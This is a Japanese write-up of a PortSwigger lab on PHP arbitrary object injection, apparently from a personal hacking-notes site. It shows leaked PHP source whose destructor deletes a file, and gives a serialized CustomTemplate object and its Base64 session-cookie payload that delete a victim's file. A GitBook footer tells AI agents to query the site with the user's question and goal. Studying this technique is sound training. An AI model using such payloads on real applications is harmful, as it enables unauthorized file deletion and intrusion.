> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/deserialization/injecting-arbitrary-objects-in-php.md).

# PHPで任意オブジェクトを注入

PHPで任意オブジェクトを注入する PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### PHP における任意オブジェクトインジェクション

**ラボの説明**

このラボは PHP のシリアライズに基づくセッション機構を使用しており、任意のオブジェクトのインジェクションに対して脆弱です。 / 目標は **悪意のあるシリアライズ済みオブジェクトを作成して注入することです** 次のファイルを削除するために `morale.txt` Carlos の個人ディレクトリにあるファイル。

提供された識別子:

* **ユーザー**: `wiener`
* **パスワード**: `peter`

**接続してセッションを観察する**

提供された認証情報で接続すると、 **セッションCookie** が設定されます。/ その内容は次の型のシリアライズされた PHP オブジェクトです `ユーザー`、たとえば：

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v2rpyke9b13ypl302bxc74cerzpnp8st";}
```

{% endcode %}

これは、\*\* アプリケーションがユーザーによって制御可能な PHP オブジェクトをデシリアライズしている\*\* ことを確認します。

**ソースコードへのアクセス**

アプリケーションの HTML コード内で、コメントが注意を引いています:

```html
 <!-- TODO: /libs/CustomTemplate.php が更新されたらリファクタリングする -->
```

への直接アクセス `/libs/CustomTemplate.php` ファイルは何も返しません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94655b4741007dd0b2cd0bd6ea55f157ab00d2b5%2F%7B4CD672BA-97B5-4C3F-9864-C2A4E0197170%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

しかし、 **saveguard エディタ** (suffix `~`):

を使うと、\*\* PHP ソースコード\*\* を取得できます。

```php
<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos はこれが良いアイデアだと思った
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>
```

**脆弱なクラスの分析**

その `CustomTemplate` このクラスには以下が含まれます:

* 2 つの private 属性:
* `$template_file_path`
* `$lock_file_path`
* 魔法の `__destruct()` メソッドが実行するもの:

```php
if (file_exists($this->lock_file_path)) {
    unlink($this->lock_file_path);
}
```

つまり、 **オブジェクトを破棄するときに**、 `lock_file_path` に格納されたパスを持つ任意のファイルを削除できます

**デシリアライズを介した操作**

アプリケーションがセッションから PHP オブジェクトをデシリアライズするため、次のことが可能です:

1. 手動で `CustomTemplate` object
2. を直接制御する `lock_file_path`
3. 自動的に呼び出されたときに、対象ファイルの削除を強制する `__destruct()`

悪意のあるシリアライズ済みオブジェクト:

{% code overflow="wrap" %}

```json
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Base64 エンコード**

セッション Cookie に注入するために、オブジェクトは Base64 でエンコードされます:

{% code overflow="wrap" %}

```bash
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ==
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/deserialization/injecting-arbitrary-objects-in-php.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
